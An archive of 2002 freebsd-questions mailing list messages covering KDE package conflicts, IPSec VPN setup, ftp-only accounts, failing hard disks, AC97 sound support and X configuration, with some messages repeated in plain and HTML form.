The KDE (3.0.1 ? I forgot the exact version) coming with this release works
well.
But after I install the kde-studio 2.0.0 package, the disaster occurs.
I cannot start kde again. The X window seems still working.

The symptom now is like this:
After type
#startx
The X window occurs with white screen, and give a message "Couldn't start
ksmserver.

Check your installation."
The only action I can choose is a button <okay>.
Then I press the button. Then return to the console (command prompt screen).
#

So I think it may be because of the installation of kde-studio 2.0.0
package.
For some files do not come from the FreeBSD release 4.6 CD. These files are
downloaded

by myself. They may have some overwriting or conflict with the KDE.
These files are:
fam-2.6.8.tgz,
freetype2-2.1.1.tgz,
kdelibs-2.2.2_3.tgz,
kdestudio-2.0.0.tgz,
libiconv-1.8.tgz,
libxml2-2.4.22_1.tgz,
libxslt-1.0.18.tgz,
Mesa-3.4.2_2.tgz,
png-1.2.3.tgz,
qt-2.3.1_2.tgz.

#uname -a
FreeBSD  4.6-RELEASE FreeBSD 4.6-RELEASE #0: Sat Jul 13 22:46:43 NZST 2002
root@:/usr/src/sys/compile/SOUNDKERN  i386
#

How can I solve this problem? I want my kde to come back working. I have so
much

things need to use it. And a re-installation of FreeBSD system is too too
troublesoum,

because I have lots of additional software and works files installed in the
system.

Could you please give me help?

I will be so much thankful if you can save my situation!

Regards.

Shen Zhijian.
<shen_zhijian@hotmail.com>


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From owner-freebsd-questions  Wed Jul 31  4:29:42 2002
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To: Cezary Nolewajka <cno@m2mob.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD and CISCO Pix IPSec VPN - problem (long)
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On Wed, 31 Jul 2002, Cezary Nolewajka wrote:

> Hello everybody,
>
> I have a general problem setting up a IPSec VPN connection between freebsd
> and a cisco router/pix.
>
> I got to the stage where both machines can see each other, start the
> negotiation phase 1 that succeeds and fail at the stage 2. The racoon -F
> info says that get_ph2approvalx(): not matched and therefore no policy is
> found.
>
> It seems that I have a problem with my or Pixes configuration. I browsed all
> the net
> archives and pages I could have found on the VPN/IPSec freebsd installation
> and configuration and failed to find a solution.
>
> If there is anything that you could suggest or even solved such a problem, I
> would be grateful for any kind of help or support.
>
> Below I attached some of the configuration and debugging information
> concerning the IPSec setup.

<snip configs>

Hello Cezary,

On the PIX configs, make sure you use both the "no-xauth" and
"no-config-mode" options on the "isakmp key" and "isakmp peer" commands as
forgetting those will hang Phase 2 negotiations. If you're still stuck,
write me off list and I'll send you the configs for a working tunnel.

Dru


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From owner-freebsd-questions  Wed Jul 31  5:20: 7 2002
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Date: Wed, 31 Jul 2002 07:12:45 -0500 (CDT)
From: Tommy Forrest <tforrest@shellworld.net>
To: freebsd-questions@freebsd.org
Subject: Weird message in /var/logs/messages and IPSEC
In-Reply-To: <038d01c238c2$1bd526c0$7d05a8c0@fred>
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Why would the following error pop up in /var/logs/messages on a FBSD 4.3
system?

Jul 30 01:55:32 pressure /kernel: IPv4 ESP input: no key association found
for spi 1394193

Many many times?  There are no IPSec tunnels setup.


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From owner-freebsd-questions  Wed Jul 31  5:43:31 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
To: "Ian Barnes" <ian@cerebellum.za.net>,
	"Steven Shen" <shen_zhijian@hotmail.com>
Subject: Re: !!! Urgent !!! save my kde.
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On Wednesday 31 July 2002 07:20 am, Ian Barnes wrote:
| Hi Steven
|
| I also had a problem similar, in the end i had to remove all packages and
| install them again. the problem comes in when the version2 studio,
| conflicts with the version 3 libs. if you do a pkg_info |grep kde do you
| see two versions of kdelibs? thats what happened to me

It should suffice to just

   pkg_delete 'kde-studio*'

And the problem is that any kde '2' package is for KDE2; only version-3 KDE 
things can be installed with KDE3.

If that doesn't work, then try just

pkg_delete 'kde*'

and then insert your CD and cd to the package directory and do 

pkg_add kde3*

(Or cd /usr/ports/*/kde3 and do make install, but that's much slower.)

| Hope this helps
| Ian Barnes

Me, too. 

PS: The convention on this list is to answer the questions at the *bottom* of 
the mail.  Please don't "top-post" in the future.


| Subject: !!! Urgent !!! save my kde.
|
| I have FreeBSD release 4.6 working in my PC.
| The KDE (3.0.1 ? I forgot the exact version) coming with this release works
| well.
| But after I install the kde-studio 2.0.0 package, the disaster occurs.
| I cannot start kde again. The X window seems still working.


-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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From owner-freebsd-questions  Wed Jul 31  6: 5:43 2002
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Date: Wed, 31 Jul 2002 08:05:34 -0500
From: David Kelly <dkelly@hiwaay.net>
To: fred@timogen.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Good script to get the IP address from u logon on freebsd
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On Wed, Jul 31, 2002 at 11:42:54AM -0700, fred@timogen.com wrote:
> Hi,
> 
> 
>        I have a freebsd box, Can someone execute a scripts to print
>        the IPAddress where she is from when he logon this machine?

This works well in /bin/sh, I don't know how to do the same as simply in
csh:

echo ${REMOTEHOST:-localhost}

-- 
David Kelly N4HHE, dkelly@hiwaay.net
=====================================================================
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.

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From owner-freebsd-questions  Wed Jul 31  6:25:11 2002
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Subject: Re: kde 3 and freebsd 4.6
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Tried it - same result. I'm logged in as an existing user and the 
.xinitrc with "/usr/local/bin/startkde" is in my home dir.

Any other ideas?

Thanks,

Mike


Ian Barnes wrote:
> Hi,
> 
> Are you running X as root ? just add "exec startkde" to your .xinitrc 
> 
> Hope that helps
> Ian Barnes
> 
> -------------------------
> BOFH - Mom's Pharmacies
> Email - ian@cerebellum.za.net
> -------------------------
> 
> 
> -----Original Message-----
> From: owner-freebsd-questions@freebsd.org
> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Dev Zero G Ltd
> Sent: 31 July 2002 01:19
> To: freebsd-questions@freebsd.org
> Subject: kde 3 and freebsd 4.6
> 
> 
> Hello everybody!
> 
> 1. Installed and configured Xfree86 4 (works)
> 2. Installed KDE3 on FreeBSD 4.6.1
> 3. added "/usr/local/bin/startkde" to ~/.xinitrc
> 
> When I run "startx" I get:
> 
> giving up.
> xinit: No such file or directory (errno 2): unable to connect to X Server
> xinit:No such process (errno 3): Server error.
> 
> Starting X first and then manually KDE3 works..
> 
> The strange thing is that a seto almost exactly (??) the same on another 
> machine works.
> 
> What could this be?!
> 
> Many thanks in advance for any help!
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 




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From owner-freebsd-questions  Wed Jul 31  6:31:15 2002
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Reply-To: jdarnold@buddydog.org
From: "Jonathan Arnold" <jdarnold@buddydog.org>
To: questions@FreeBSD.ORG
Subject: Re: Looking to learn the insides and outsides of
  /etc/periodic
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>I want to learn more about /etc/periodic and how it works, can you reply
>with some man pages i might refer to, and give me a small description of

man -k or apropos is your friend.

sh> man -k periodic

periodic(8) - run periodic system functions
periodic.conf(5)         - periodic job configuration information

which should give you a good place to start.

-- 
Jonathan Arnold             (mailto:jdarnold@buddydog.org)
The Incredible Brightness of Seeing, a Home Theater weblog
         http://jdarnold.tzo.com/HomeTheater



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From owner-freebsd-questions  Wed Jul 31  6:47:22 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200207311346.g6VDkwL10472@clunix.cl.msu.edu>
Subject: Re: ftp only login
To: m.seaman@infracaninophile.co.uk (Matthew Seaman)
Date: Wed, 31 Jul 2002 09:46:57 -0400 (EDT)
Cc: p_gates@fuse.net (Phil Gates), freebsd-questions@FreeBSD.ORG
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> 
> On Tue, Jul 30, 2002 at 05:07:14PM -0400, Phil Gates wrote:
> 
> > I need to allow a user to login to ftp but not login in an other
> > way.  Does anybody know how I can do this.  I was told to change the
> > shell to some file such as /dev/null so the user would have no shell
> > to login to.  I changed the /etc/passwd file to do this.  When I try
> > to login I was still able to login., do I need to change any other
> > files?
> 
> You're on the right track, but not all the way there.  You need to do
> two things:
> 
>   i) Don't edit /etc/passwd --- edit /etc/master.passwd When you're
>      done editing, be sure to rebuild the pwd.db password database files: 
> 
>        pwd_mkdb -p /etc/master.passwd 

No No No No.  
Don't edit either /etc/passwd OR /etc/master.passwd directly.  
   Use vipw(8)  (/usr/sbin/vipw).  
It handles consistency checking, locking and updating everything 
 - /etc/passwd, /etc/master.passwd, even including updating the 
passwd database and does it correctly.

The rest of your information is correct.

////jerry


>       The /etc/passwd file is generated from the /etc/master.passwd
>       file by that command. If you use vipw(1) to edit the password
>       data the pwd_mkdb stuff is all done for you automatically.
> 
>   ii) In order to access the ftpd(8) service on your machine, the man
>       page says:
> 
>            4.   The user must have a standard shell returned by
>                 getusershell(3).
> 
>       Which means that the shell you give to the user must be added to
>       the /etc/shells file.  There is a very handy command
>       /sbin/nologin (see nologin(8)) which politely tells the user to
>       "go away", and is designed for this very purpose.  However, it's
>       used for all sorts of system accounts in /etc/passwd already and
>       adding it to /etc/shells is probably asking for trouble.
> 
>       So you need to do something like the following:
> 
>         cp /sbin/nologin /usr/local/sbin/nologin
>         echo /usr/local/sbin/nologin >> /etc/shells
>         vipw
> 
> > Or is there a different way to keep a user from only login in as a
> > ftp client.  ?
> 
> To *prevent* a user from using the ftpd service on a machine, simply
> add their username to the /etc/ftpusers file.
> 
> The other important trick available with FreeBSD's ftpd is to add the
> username to the /etc/ftpchroot file, or the set the ftp-chroot
> capability in /etc/login.conf for the user's login class.  In this
> case, the user will be chroot(2)-ed to their home directory when they
> use ftp.  ftpd(8) has the details.
> 
> 	Cheers,
> 
> 	Matthew
> 
> -- 
> Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
>                                                       Savill Way
> Tel: +44 1628 476614                                  Marlow
> Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Wed Jul 31  6:48: 3 2002
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On Wed, Jul 31, 2002 at 08:12:14PM +0930, Brian Astill wrote:
> On Wed, 31 Jul 2002 13:06, Greg 'groggy' Lehey wrote:
> > >> My questions to you: is there anything missing?
>
> You also seem to be missing burncd (we aren't all equipped with SCSI 
> burners<g>)

/usr/sbin/burncd

It's not missing, it's in the base system and thus does not need to be listed
in the instant-workstation port.

> 
> --
> Regards,
> Brian

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Wed Jul 31  7:20:41 2002
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To: "'questions@FreeBSD.ORG'" <questions@FreeBSD.ORG>
Subject: screen problem
Date: Wed, 31 Jul 2002 09:17:44 -0500
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Hello-
I am using putty to access my freebsd machine from windows. It almost works
the way I want it too, but there are a few problems.

when i am not using 'screen' on freebsd I can see my buffer that was created
with previous command results. 

when i am using 'screen' none of the history buffer is saved. i can't scroll
up and see the results of previous commands. 

I have my buffer set to 4000 lines.

Another problem I have is when i login into another machine I have to type
resize inorder to get putty to use the entire screen.


terminal program: putty
shell: tcsh
term settings: vt100

any suggestions?

thanks,
brian

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From owner-freebsd-questions  Wed Jul 31  7:28:26 2002
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MET -

On Tue, 30 Jul 2002, MET wrote:

> I'm currently working on a web site with about 5 other people spread
> throughout the U.S. and figured that setting up CVS to maintain the
> chaos would be great.  However I have no idea how.  Naturally I've
> skimmed through cvshome.org, but I have a strange feeling with all that
> FreeBSD does with CVS that it probably comes pre-installed and is purely
> a matter of setting it up for my specific project?. 

Run a 'Google' search on 'CVSUP' and you should find resources. You may
also want to do the same for 'rsync' - look at both and see which model
best fits your work flow. Depending on your firewall penetration, you may
wish to centralize the CVS repository in a single server, and
synchronization may no longer be an issue.

Also, on the WinCvs.org site [IIRC] there is a guide to web development
under CVS that may suggest some approaches.

 - John Mills


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From owner-freebsd-questions  Wed Jul 31  7:49:34 2002
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Subject: Re: Can FreeBSD make a hard drive unbootable by other OS's ?
Date: Wed, 31 Jul 2002 16:41:50 +0200
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Hi,

Cite from the FAQ:
> > "The advantages of this mode are: FreeBSD owns the
> > entire disk,
[snip]
> > In ``dangerously dedicated'' mode, the BSD bootstrap
> > starts at sector 0, and
> > this one is the only sector that always translates
> > into the same C/H/S
> > values, regardless of which `translation' your BIOS
> > is using for your disk.
> > Thus, you can also swap disks between
> > systems/controllers that use a
> > different translation scheme, without risking that
> > they won't boot anymore."
End of cite

> > It isn't clear but they seem to be "selling" the
> > reader on this version,
> > even though the misnomer and scary name has the word
> > dangerous in it.
> >
> > Er, that was kind of question one.
>
> Now we've got 40GB disks for the price of a good day's
> work, those tracks are rather unimportant. I still
> would use DD mode if I didn't want to dual boot,
> knowing that any strange formatting can be zapped away
> fairly easily.

This was discussed in-depth on this list (or maybe stable?) when the
option to format a DD-disk was hidden in sysinstall. You still can, but
it is deprecated, because (at least several) modern BIOSes really want
to have a PC-style MBR and refuse to work otherwise. So don't do, except
you really know what you're doing.

> > "To return a ``dangerously dedicated'' disk for
> > normal PC use, there are
> > basically two options. The first is, you write
> > enough NULL bytes over the
> > MBR to make any subsequent installation believe this
> > to be a blank disk.
> > You can do this for example with `dd if=/dev/zero
> > of=/dev/rsd0 count=15`"

Personally I would recommend:

dd if=/dev/zero of=/dev/rsd0 bs=512 count=1

as this really erases the complete block. If you don`t have SCSI it's
"ad" instead of "sd", of course.

> > Question 3, is this fdisk /mbr a DOS command or a
> > FreeBSD command, or both?
> >
>
> Dos command. It's the dos disk partitioner. Great for
> this, but it's too slow for most PC installers, who
> use things from Ontrack that format a disk in about 5
> seconds.

Just fdisk /mbr will be finished in a few seconds. As fdisk is only able
to format FAT its speed is irrelevant for FreBSD or Linux (but you're
right, it's horribly slow on huge disks).

Ciao
Siegbert


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From owner-freebsd-questions  Wed Jul 31  8: 3:43 2002
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Subject: Re: Can FreeBSD make a hard drive unbootable by other OS's ?
Date: Wed, 31 Jul 2002 16:56:09 +0200
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X-Loop: FreeBSD.ORG

> >  For various reasons, I am now attempting to use this hard drive on
> >another PC. The drive shows up normally in the BIOS, and I was able
> to
> >install Mandrake Linux 8.2 on it with no problems; using a shareware
> >utility called Boot It Lite, I was able to verify that the drive does
> >contain the 4 Linux partitions I created during the Linux install
> >(/boot, swap, /, and /home). However the PC will not boot from the
hard
> >drive. (Yes, the BIOS is set to boot from first the floppy, then the
> >CDROM, and then the hard drive in question. Yes, the /boot partition
is
> >completely below 1 Gig to avoid any LILO issues).

> Try changing the boot order in the BIOS so the hard drive comes before
> the CDROM.

Other things to check: Where did you tell Mandrake to install it's lilo?
If it's a Linux only disk, the correct place would be the MBR. If you've
chosen to install it in a partition, look if this one is set active
(i.e. bootable).

If your computer's BIOS is quite old, the 1024 cylinder problem could
touch you (that is not a 1Gig border). Depending on your BIOS and
mapping of your disk, this can be any value from 512MB (on old BIOS
without EIDE support) to 8GB (1024 cylinders with a single cylinder set
to the maximum value). Side note: To have any boot sector above 8GB you
independently oft the OS need a BIOS, which supports IRQ13 extension and
in addition for Linux you have to use the LBA flag on lilo.
If you are able to boot from the Linux-CD, go there into a console,
write down all the settings fdisk shows about your partition layout, do
the "dd" steps mentioned in the other thread, redo fdisk with exactly
the same values you wrote down before, make sure you have the correct
partition active, check your /etc/lilo.conf to install lilo in the MBR
(i.e. /dev/hda not /dev/hda1) and start /sbin/lilo once again.
If you then face any problems, it is not because of earlier FreeBSD use
of this disk, as after the "dd" step the disk completely forgot about
this.
If you make some errors within the fdisk steps, so that your partition
layout isn't exactly again what it is now, you probably have to
reinstall Linux.

Ciao
Siegbert


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From owner-freebsd-questions  Wed Jul 31  8:11:30 2002
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To: "Axel Simon" <A.Simon@ukc.ac.uk>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: Harddisk damage by driver?
Date: Wed, 31 Jul 2002 11:11:23 -0400
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X-Loop: FreeBSD.ORG

Replace the PC's power supply. It is not providing the correct power
level to the Hard drives and they are not spinning fast enough to keep
the heads off the platter's surface causing the recording media to be
worn off giving r/w errors.

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Axel Simon
Sent: Wednesday, July 31, 2002 6:15 AM
To: freebsd-hardware@freebsd.org; freebsd-questions@freebsd.org
Subject: Harddisk damage by driver?

Hi,

I am very fed up with this rotten computer which seems to break all the
harddiscs I put in. The story:

The computer is based on an Intel Desktop D815EEA2/D815EPEA2 motherboard.

- After five month, the built-in Fujitsu 40 GB UDMA100 drive one day
started to make some very loud, repetetive clicking sounds for
approximately 3 seconds and was then unresponsive. After some attempts,
the harddisc came up again and booted.

- The replacement harddrive of the same brand and size did some clicking
noises here and then and stalled as well after only three days. I
complained louder and got a new Western Digital 38166MB <WDC
WD400BB-53CAA0>, UDMA100, a new motherboard and a new cable.

- Shortly after that, my second harddrive on the secondary channel 78167MB
<Maxtor 98196H8>, DMA33 occasionally made some clicking noises.

- It stalled for the first time complitely after a large data transmisson
and I decided to ask Maxtor for a replacement. I got a replacement
harddrive and replaced the 15cm UDMA100 cable with a 1m UDMA66 cable (so
it sais) and attached the harddisk. Funnily, not my old harddrive refuses
to work, but my new on exhibits hard read errors, is resetted, removed
from configuration and all that.

Two possibilities:

- This is just unlucky incidence and I need to get a propper UDMA100 cable
which is not 1m long.

- The FreeBSD drive does not work propperly on this type of motherboard.
Should I get an external UDMA controller?

I need some help here.

Thanks a lot,

Axel.


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From owner-freebsd-questions  Wed Jul 31  8:23:41 2002
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Subject: [ BIND 9 ] - log to pipe rather than file
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X-Loop: FreeBSD.ORG

Hi,

  this isn't really a freebsd question but... BIND runs on FreeBee ;)
  
  so, I had BIND 9 configured to log to named.log (OK ;)
  I wanted to use mlogd (to send the log via multicast to another syslog) and it requires that the named.log is a pipe !!!

  since I turned named.log into a pipe (and not simple file) named complains about not being able to write to the log file...
  I did made sure mlogd was reading from the pipe before starting BIND (I thought BIND wouldn't like to fill a pipe that was not being read...)

 as anyone done something like this ? i mean force BIND 9 to write the log to a pipe ? did it worked ?

thanks for help,
  Jo



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From owner-freebsd-questions  Wed Jul 31  8:27:37 2002
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To: Axel Simon <A.Simon@ukc.ac.uk>
Cc: freebsd-hardware@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG
Subject: Re: Harddisk damage by driver? 
In-reply-to: Your message of "Wed, 31 Jul 2002 11:15:02 BST."
             <20020731101502.GE17211@myrtle.ukc.ac.uk> 
Date: Wed, 31 Jul 2002 08:27:05 -0700
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X-Loop: FreeBSD.ORG

The fack that all the drives die makes me think may be your
puter is not properly ventilated and the hard disks get very
hot.  You may have had very bad luck with all the drives but
that is not very likely.  A bad cable would give you
read/write errors but it won't make your disk make loud
repetitive clicking noises!  A FreeBSD driver can not be at
fault either with modern IDE or SCSI drives.

See if the disks get very hot and if so, see if keeping the
box open and pointing a big fan at the disks make the errors
go away.  If the heat is a problem, you can do a number of
things to keep good air flow around disks.

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From owner-freebsd-questions  Wed Jul 31  8:29:19 2002
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Date: Wed, 31 Jul 2002 17:29:06 +0200
From: Andreas Ntaflos <ant@overclockers.at>
To: Dale Morris <dlm@well.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: AC 97 Sound
Message-ID: <20020731152906.GA11668@Deadcell.ant>
References: <20020729165412.GB6708@well.com>
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On Mon, Jul 29, 2002 at 09:54:12AM -0700, Dale Morris wrote:
> 
> Do I have to recompile the kernel to get sound working or can I do:
> 
> root # kldload AC97**module (whatever the appropriate module or modules
> are from the /modules directory) and get sound that way?

I have an AC97 "soundchip" in my Toshiba Laptop and doing a `kldload
snd_ich` works pretty well.

> 
> I've read the handbook on this and am still somewhat confused, it
> appears the pcm module should work with AC97 onboard sound, but so far
> I've been unsuccessful. 

Put the following line into your kernel config file:
device 		pcm

this should get you going, although I am not sure if you still have to load
the snd_ich module. Think not.

> 
> If anyone can point me to a good newbie/bonehead site for kernel
> compilation, I would sure appreciate it.

What's wrong with the handbook itself?
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig.html

HTH
regards
-- 
	Andreas "ant" Ntaflos	
	ant@overclockers.at
	Vienna, AUSTRIA


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From owner-freebsd-questions  Wed Jul 31  8:42:32 2002
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To: "Axel Simon" <A.Simon@ukc.ac.uk>,
	"Bakul Shah" <bakul@bitblocks.com>
Cc: <freebsd-hardware@FreeBSD.ORG>, <freebsd-questions@FreeBSD.ORG>
References: <200207311527.LAA04565@devonshire.cnchost.com>
Subject: Re: Harddisk damage by driver? 
Date: Wed, 31 Jul 2002 08:39:04 -0700
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I would agree the problem is likely to be
electrical/mechanical and the most likely cause is
overheating. Your experience with the drive that came up
after some time does point to overheating.

However you might want to rule out a mal-functioning power
supply unit which could cause similar symptoms. This is
unlikely but possible.

David

----- Original Message -----
From: "Bakul Shah" <bakul@bitblocks.com>
To: "Axel Simon" <A.Simon@ukc.ac.uk>
Cc: <freebsd-hardware@FreeBSD.ORG>;
<freebsd-questions@FreeBSD.ORG>
Sent: Wednesday, July 31, 2002 8:27 AM
Subject: Re: Harddisk damage by driver?


> The fack that all the drives die makes me think may be
your
> puter is not properly ventilated and the hard disks get
very
> hot.  You may have had very bad luck with all the drives
but
> that is not very likely.  A bad cable would give you
> read/write errors but it won't make your disk make loud
> repetitive clicking noises!  A FreeBSD driver can not be
at
> fault either with modern IDE or SCSI drives.
>
> See if the disks get very hot and if so, see if keeping
the
> box open and pointing a big fan at the disks make the
errors
> go away.  If the heat is a problem, you can do a number of
> things to keep good air flow around disks.
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-hardware" in the body of the
message
>


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From owner-freebsd-questions  Wed Jul 31  8:50:37 2002
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X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.3
To: Jacob Rhoden <jrhoden@unimelb.edu.au>
Cc: freebsd-questions@freebsd.org
From: Orion Hodson <orion@freebsd.org>
Subject: Re: sound card on intel motherboard - details 
In-Reply-To: Your message of "Tue, 30 Jul 2002 11:17:51 +1000."
             <5.1.1.6.0.20020730111255.00b6b838@wheresmymailserver.com> 
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--==_Exmh_935478410
Content-Type: text/plain; charset=us-ascii


Jacob

The board is an ich4 motherboard.  After a quick read of the specs it looks 
sufficiently similar to the other variants that just adding the PCI ID to ich 
audio probe routine *may* be all it takes to get basic pcm audio working.

A patch is appended below for /usr/src/sys/dev/sound/pci/ich.c (or wherever 
your local copy of this file is).  Alternatively, I can compile a loadable 
kernel module if you are happy to test that.

Cheers
- Orion

--==_Exmh_935478410
Content-Type: application/x-patch ; name="ich4.patch"
Content-Description: ich4.patch
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="ich4.patch"

Index: ich.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /home/ncvs/src/sys/dev/sound/pci/ich.c,v
retrieving revision 1.3.2.10
diff -u -r1.3.2.10 ich.c
--- ich.c	2 Jul 2002 15:38:36 -0000	1.3.2.10
+++ ich.c	31 Jul 2002 15:37:32 -0000
@@ -610,6 +610,10 @@
 		device_set_desc(dev, "Intel 82801CA (ICH3)");
 		return 0;
 =

+	case 0x248524c5:
+		device_set_desc(dev, "Intel 82801DB (ICH4)");
+		return 0;
+
 	case SIS7012ID:
 		device_set_desc(dev, "SiS 7012");
 		return 0;

--==_Exmh_935478410--



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Subject: X....,Login managers.......,Mounting
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Hi,
Fixed X-windows ........it's working but.......not at the color depth =
and display mode I want it to. The file /etc/X11/XF86Config=20
under the sction screen and the subsection display looks like this:
SubSection Display
   Depth 1
 End
SubSection Display
   Depth 2
End
etc........till depth 24....how do I alter this file to set my depth to =
24 bit and 1024*768 when I tried altering the file X din't come up......

I have kdm(KDE login manager......) how do I make it run on startup so =
that I get a graphical login?

Lastly........how do I mount my windows partitions in BSD?

Thanx a lot.......
Piyush


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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fixed X-windows ........it's working =
but.......not=20
at the color depth and display mode I want it to. The file =
/etc/X11/XF86Config=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under the sction screen and the =
subsection display=20
looks like this:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>etc........till depth 24....how do I =
alter this=20
file to set my depth to 24 bit and 1024*768 when I tried altering the =
file X=20
din't come up......</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have kdm(KDE login manager......) how =
do I make=20
it run on startup so that I get a graphical login?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lastly........how do I mount my windows =
partitions=20
in BSD?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx a lot.......</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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Hi,
Fixed X-windows ........it's working but.......not at the color depth =
and display mode I want it to. The file /etc/X11/XF86Config=20
under the sction screen and the subsection display looks like this:
SubSection Display
   Depth 1
 End
SubSection Display
   Depth 2
End
etc........till depth 24....how do I alter this file to set my depth to =
24 bit and 1024*768 when I tried altering the file X din't come up......

I have kdm(KDE login manager......) how do I make it run on startup so =
that I get a graphical login?

Lastly........how do I mount my windows partitions in BSD?

Thanx a lot.......
Piyush


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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fixed X-windows ........it's working =
but.......not=20
at the color depth and display mode I want it to. The file =
/etc/X11/XF86Config=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under the sction screen and the =
subsection display=20
looks like this:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>etc........till depth 24....how do I =
alter this=20
file to set my depth to 24 bit and 1024*768 when I tried altering the =
file X=20
din't come up......</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have kdm(KDE login manager......) how =
do I make=20
it run on startup so that I get a graphical login?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lastly........how do I mount my windows =
partitions=20
in BSD?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx a lot.......</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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Hi,
Fixed X-windows ........it's working but.......not at the color depth =
and display mode I want it to. The file /etc/X11/XF86Config=20
under the sction screen and the subsection display looks like this:
SubSection Display
   Depth 1
 End
SubSection Display
   Depth 2
End
etc........till depth 24....how do I alter this file to set my depth to =
24 bit and 1024*768 when I tried altering the file X din't come up......

I have kdm(KDE login manager......) how do I make it run on startup so =
that I get a graphical login?

Lastly........how do I mount my windows partitions in BSD?

Thanx a lot.......
Piyush


------=_NextPart_000_0023_01BC9DF8.B31FFEC0
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	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

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<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fixed X-windows ........it's working =
but.......not=20
at the color depth and display mode I want it to. The file =
/etc/X11/XF86Config=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under the sction screen and the =
subsection display=20
looks like this:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>etc........till depth 24....how do I =
alter this=20
file to set my depth to 24 bit and 1024*768 when I tried altering the =
file X=20
din't come up......</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have kdm(KDE login manager......) how =
do I make=20
it run on startup so that I get a graphical login?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lastly........how do I mount my windows =
partitions=20
in BSD?</FONT></DIV>
<DIV>&nbsp;</DIV>
